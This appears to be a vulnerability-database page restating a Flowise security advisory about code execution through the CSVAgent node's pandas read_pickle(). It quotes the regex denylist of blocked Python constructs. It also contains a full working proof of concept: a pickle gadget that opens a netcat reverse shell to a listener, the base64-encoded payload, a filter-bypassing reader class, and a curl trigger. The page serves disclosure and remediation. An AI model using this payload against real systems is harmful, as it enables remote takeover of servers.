Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Exploitation is network-triggerable but requires builder access to author the malicious flow (PR:L), needs no user interaction, and yields full code execution (C/I/A High).
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
Lifecycle Timeline
4DescriptionCVE.org
Summary
The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.
Details
The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.
try {
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(error)
}At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
// Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
{ pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
{ pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
// Dangerous builtins
{ pattern: /\beval\s*\(/g, reason: 'eval()' },
{ pattern: /\bexec\s*\(/g, reason: 'exec()' },
{ pattern: /\bcompile\s*\(/g, reason: 'compile()' },
{ pattern: /\b__import__\s*\(/g, reason: '__import__()' },
{ pattern: /\bopen\s*\(/g, reason: 'open()' },
{ pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
{ pattern: /\binput\s*\(/g, reason: 'input()' },
{ pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
{ pattern: /\bglobals\s*\(/g, reason: 'globals()' },
{ pattern: /\blocals\s*\(/g, reason: 'locals()' },
{ pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
{ pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
{ pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
{ pattern: /\breload\s*\(/g, reason: 'reload()' },
{ pattern: /\bfile\s*\(/g, reason: 'file()' },
{ pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
// Dangerous modules / attributes
{ pattern: /\bos\./g, reason: 'os module' },
{ pattern: /\bsubprocess\./g, reason: 'subprocess module' },
{ pattern: /\bsys\./g, reason: 'sys module' },
{ pattern: /\bsocket\./g, reason: 'socket module' },
{ pattern: /\burllib\./g, reason: 'urllib module' },
{ pattern: /\brequests\./g, reason: 'requests module' },
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
{ pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
{ pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
{ pattern: /\b__bases__\b/g, reason: '__bases__' },
{ pattern: /\b__mro__\b/g, reason: '__mro__' },
{ pattern: /\b__globals__\b/g, reason: '__globals__' },
{ pattern: /\b__code__\b/g, reason: '__code__' },
{ pattern: /\b__closure__\b/g, reason: '__closure__' },
{ pattern: /\bvars\s*\(/g, reason: 'vars()' },
{ pattern: /\bdir\s*\(/g, reason: 'dir()' },
{ pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
{ pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.
PoC
First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)Run it and note the encoded payload to be used later:
$ python3 pickle-payload-poc.py
gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=- In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
- Drag a "CSV Agent" node onto the canvas.
- Click on "Additional Parameters" and fill in the following PoC:
isnull("")
class MiniBytesIO:
def __init__(self, b):
self.data = b
self.pos = 0
def read(self, n=-1):
if n == -1:
n = len(self.data) - self.pos
chunk = self.data[self.pos:self.pos+n]
self.pos += n
return chunk
def readline(self, n=-1):
if self.pos >= len(self.data):
return b""
next_nl = self.data.find(b"\\n", self.pos)
if next_nl == -1:
next_nl = len(self.data)
if n != -1:
next_nl = min(self.pos + n, next_nl)
line = self.data[self.pos:next_nl+1]
self.pos = next_nl + 1
return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.
Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.
Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:
$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>Articles & Coverage 1
AnalysisAI
Remote code execution in Flowise (flowise and flowise-components <= 3.1.2) is possible through the CSVAgent node, which executes user-supplied Python in a pyodide runtime. A regex denylist blocks imports and dangerous builtins, but attackers bypass it entirely by calling the pre-imported pandas library's read_pickle() to deserialize an attacker-controlled base64 pickle, achieving arbitrary command execution. A detailed working proof-of-concept (pickle __reduce__ gadget plus a custom file-like reader class to feed the payload) is published in the vendor GHSA advisory; publicly available exploit code exists, but there is no public exploit identified as being used in the wild and it is not in CISA KEV.
Technical ContextAI
The vulnerability lives in flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where the node interpolates a user-controlled string (customReadCSVFunc) directly into a Python program run via pyodide.runPythonAsync(). This is a classic CWE-94 (Improper Control of Generation of Code / code injection) issue: untrusted input becomes executable code. The mitigation was a FORBIDDEN_PATTERNS regex denylist blocking import/from-import, eval/exec/compile/__import__, open, os./sys./subprocess./socket., dunder reflection attributes, and similar constructs. Denylists are inherently incomplete, and pandas is pre-imported by the executor, so pandas.read_pickle() - which internally invokes Python's pickle deserializer - provides an execution primitive that never matches any forbidden token. Pickle deserialization runs the __reduce__ method of arbitrary objects, allowing (os.system, (cmd,)) style gadgets. Affected packages per CPE are pkg:npm/flowise and pkg:npm/flowise-components.
RemediationAI
Upgrade both flowise and flowise-components to version 3.1.3 or later, which is the vendor-released patched version per the GHSA advisory (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g). If immediate upgrade is not possible, restrict who can create or edit chatflows by enforcing authentication on the Flowise application and, where feasible, avoid using the CSVAgent node in untrusted or multi-tenant contexts (removing/disabling it eliminates the vector but breaks CSV-agent functionality). Additionally, place the Flowise instance behind network access controls so the /api/v1/prediction/<UUID> endpoints and the builder UI are not exposed to untrusted networks, accepting that this limits legitimate remote/API usage. Because the root cause is a bypassable denylist, do not rely on custom input filtering as a durable control - patching is the only reliable fix.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-52746
GHSA-x6vm-w76m-8j7g